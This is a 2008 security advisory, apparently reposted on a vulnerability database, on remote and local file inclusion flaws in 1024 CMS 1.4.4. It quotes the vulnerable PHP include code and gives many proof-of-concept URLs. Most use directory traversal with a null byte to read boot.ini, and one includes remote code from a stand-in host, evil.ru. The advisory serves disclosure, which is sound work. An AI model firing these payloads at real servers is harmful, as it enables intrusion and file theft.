Lucene search
K

1024 CMS <= 1.4.4 Multiple Remote/Local File Inclusion Vulnerabilities

🗓️ 05 Jul 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 38 Views

1024 CMS<=1.4.4 RFI/LFI vulnerabilities in multiple script

Code

                                                Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-027


Application:                    1024 CMS
Versions Affected:              1.4.3, 1.4.4 RFC
Vendor URL:                     http://www.1024cms.com/
Bug:                            Multiple Remote/Local File Include
Exploits:                       YES
Reported:                       18.06.2008
Second report:                  27.06.2008
Vendor Response:                NONE
Solution:                       NONE
Date of Public Advisory:        04.07.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********


1024 CMS has Remote File Include vulnerability  and multiple Local File Include vulnerabilities. 


1. Remote/Local File Include vulnerabilities found in scripts: 

themes/blog/layouts/standard.php
themes/default/layouts/standard.php
themes/portfolio/layouts/standard.php
themes/snazzy/layouts/standard.php

Code
****
#################################################

&lt;?php include(&quot;./themes/&quot;.$theme_dir.&quot;/layouts/basic_header.php&quot;); ?&gt;
&lt;div class=&quot;centerbigtable&quot;&gt;
        &lt;?php
        if(!isset($page_include)) {
                if($page_ck['custom'] == '0') include(&quot;./pages/&quot;.$page.&quot;/default/content.php&quot;);
                else include(&quot;./pages/custom/&quot;.$page.&quot;/default/content.php&quot;);
        } else include($page_include);
        ?&gt;

#################################################

Example:

http://[server]/[installdir]/themes/blog/layouts/standard.php?page_include=http://evil.ru/evil.php
http://[server]/[installdir]/themes/default/layouts/standard.php?theme_dir=../../../../../../../../../../../../../boot.ini%00
http://[server]/[installdir]/themes/snazzy/layouts/standard.php?page=../../../../../../../../../../../../../boot.ini%00





Multiple Local File Include vulnerabilities:




2. Local File Include vulnerability found in script admin/lang/fr/reports/default.php

Code
****
#################################################

if(isset($_GET['t'])) {
        switch($_GET['t']) {
                case &quot;forum&quot;:
                include(&quot;../admin/lang/&quot;.$lang.&quot;/reports/ops/forum.php&quot;);
                break;
                
                case &quot;download&quot;:
                include(&quot;../admin/lang/&quot;.$lang.&quot;/reports/ops/download.php&quot;);
                break;

                case &quot;news&quot;:
                include(&quot;../admin/lang/&quot;.$lang.&quot;/reports/ops/news.php&quot;);
                break;
        }
} else die(&quot;You cannot access this page directly&quot;);

#################################################

Example:

http://[server]/[installdir]/admin/lang/fr/reports/default.php?t=news&amp;lang=../../../../../../../../../../../../../boot.ini%00


3. Local File Include vulnerabilities found in scripts:

admin/ops/admins/default.php
admin/ops/reports/ops/download.php
admin/ops/reports/ops/forum.php
admin/ops/reports/ops/news.php

Code
****
#################################################

&lt;?php
include(&quot;./themes/&quot;.$admin_theme_dir.&quot;/templates/default_header.tpl&quot;);
...

#################################################

Example:

http://[server]/[installdir]/admin/ops/admins/default.php?admin_theme_dir=../../../../../../../../../../../../../boot.ini%00
http://[server]/[installdir]/admin/ops/reports/ops/news.php?admin_theme_dir=../../../../../../../../../../../../../boot.ini%00


4. Local File Include vulnerabilities found in scripts:

lang/en/moderator/default.php
lang/fr/moderator/default.php

Code
****
#################################################

if(isset($_GET['t'])) {
        switch($_GET['t']) {
                case &quot;forum&quot;:
                include(&quot;./lang/&quot;.$lang.&quot;/moderator/ops/forum.php&quot;);
                break;
                
                case &quot;download&quot;:
                include(&quot;./lang/&quot;.$lang.&quot;/moderator/ops/download.php&quot;);
                break;

                case &quot;gallery&quot;:
                include(&quot;./lang/&quot;.$lang.&quot;/moderator/ops/gallery.php&quot;);
                break;

                case &quot;news&quot;:
                include(&quot;./lang/&quot;.$lang.&quot;/moderator/ops/news.php&quot;);
                break;
        }
}

#################################################

Example:

http://[server]/[installdir]/lang/en/moderator/default.php?t=news&amp;lang=../../../../../../../../../../../../../boot.ini%00
http://[server]/[installdir]/lang/fr/moderator/default.php?t=download&amp;lang=../../../../../../../../../../../../../boot.ini%00


5. Local File Include vulnerability found in script lang/de/moderator/default.php

Code
****
#################################################

if(isset($_GET['t'])) {
        switch($_GET['t']) {
                case &quot;forum&quot;:
                include(&quot;./lang/&quot;.$lang.&quot;/moderator/ops/forum.php&quot;);
                break;
                
                case &quot;download&quot;:
                include(&quot;./lang/&quot;.$lang.&quot;/moderator/ops/download.php&quot;);
                break;

                case &quot;news&quot;:
                include(&quot;./lang/&quot;.$lang.&quot;/moderator/ops/news.php&quot;);
                break;
        }
}

#################################################

Example:

http://[server]/[installdir]/lang/de/moderator/default.php?t=forum&amp;lang=../../../../../../../../../../../../../boot.ini%00


6. Local File Include vulnerabilities found in scripts:

pages/download/default/ops/add.php
pages/download/default/ops/edit.php

Code
****
#################################################

if(isset($_SESSION['type']) &amp;&amp; ($_SESSION['type'] == '1' || ($_SESSION['type'] == '2' &amp;&amp; trim($canpostdown) == &quot;true&quot;) || $_SESSION['type'] == '4')) {
...
} else {
        if($canpostdown !== 'true') define(&quot;_CONTENT_&quot;, _POST_DISABLED_);
        else define(&quot;_CONTENT_&quot;, _POST_LOGIN_);
        include(&quot;./themes/&quot;.$theme_dir.&quot;/templates/no_content.tpl&quot;);
}

#################################################

Example:

http://[server]/[installdir]/pages/download/default/ops/add.php?theme_dir=../../../../../../../../../../../../../boot.ini%00


7. Local File Include vulnerabilities found in scripts:

pages/download/default/ops/newest.php
pages/download/default/ops/search.php
pages/download/default/ops/top.php
pages/forum/default/content.php

Code
****
#################################################

&lt;?php
include(&quot;./themes/&quot;.$theme_dir.&quot;/templates/default_header.tpl&quot;);
...

#################################################

Example:

http://[server]/[installdir]/pages/download/default/ops/newest.php?theme_dir=../../../../../../../../../../../../../boot.ini%00
http://[server]/[installdir]/pages/forum/default/content.php?theme_dir=../../../../../../../../../../../../../boot.ini%00


8. Local File Include vulnerabilities found in scripts:

themes/blog/layouts/basic_footer.php
themes/default/layouts/basic_footer.php
themes/portfolio/layouts/basic_footer.php
themes/snazzy/layouts/basic_footer.php

Code
****
#################################################

...
&lt;?php include(&quot;./themes/&quot;.$theme_dir.&quot;/templates/footer.tpl&quot;); ?&gt;
...

#################################################

Example:

http://[server]/[installdir]/themes/blog/layouts/basic_footer.php?theme_dir=../../../../../../../../../../../../../boot.ini%00


9. Local File Include vulnerabilities found in scripts:

themes/blog/layouts/basic_header.php
themes/default/layouts/basic_header.php
themes/portfolio/layouts/basic_header.php
themes/snazzy/layouts/basic_header.php

Code
****
#################################################

...
&lt;?php include(&quot;./themes/&quot;.$theme_dir.&quot;/templates/header.tpl&quot;); ?&gt;&lt;/td&gt;
...

#################################################

Example:

http://[server]/[installdir]/themes/default/layouts/basic_header.php?theme_dir=../../../../../../../../../../../../../boot.ini%00


10. Local File Include vulnerabilities found in scripts:

themes/blog/layouts/print.php 
themes/default/layouts/print.php
themes/portfolio/layouts/print.php
themes/snazzy/layouts/print.php

Code
****
#################################################

if(!isset($page_include)) {
        if($page_ck['custom'] == '0') include(&quot;./pages/&quot;.$page.&quot;/default/content.php&quot;);
        else include(&quot;./pages/custom/&quot;.$page.&quot;/default/content.php&quot;);
} else include(&quot;./themes/&quot;.$theme_dir.&quot;/templates/&quot;.$page_include);
include(&quot;./themes/&quot;.$theme_dir.&quot;/templates/footer.tpl&quot;);

#################################################

Example:

http://[server]/[installdir]/themes/blog/layouts/print.php?page=../../../../../../../../../../../../../boot.ini%00
http://[server]/[installdir]/themes/default/layouts/print.php?page_include=../../../../../../../../../../../../../boot.ini%00
http://[server]/[installdir]/themes/portfolio/layouts/print.php?theme_dir=../../../../../../../../../../../../../boot.ini%00



11. Local File Include vulnerabilities found in scripts: 

themes/blog/layouts/total.php
themes/default/layouts/total.php
themes/portfolio/layouts/total.php
themes/snazzy/layouts/total.php

Code
****
#################################################

    &lt;td&gt;&lt;?php include(&quot;./themes/&quot;.$theme_dir.&quot;/templates/header.tpl&quot;); ?&gt;&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td&gt;
        &lt;?php
        if($page_ck['custom'] == '0') include(&quot;./pages/&quot;.$page.&quot;/default/content.php&quot;);
        else include(&quot;./pages/custom/&quot;.$page.&quot;/default/content.php&quot;);
        ?&gt;

#################################################

Example:

http://[server]/[installdir]/themes/default/layouts/total.php?theme_dir=../../../../../../../../../../../../../boot.ini%00
http://[server]/[installdir]/themes/snazzy/layouts/total.php?page=../../../../../../../../../../../../../boot.ini%00



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsec [dot] ru
            http://www.dsec.ru (in Russian)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation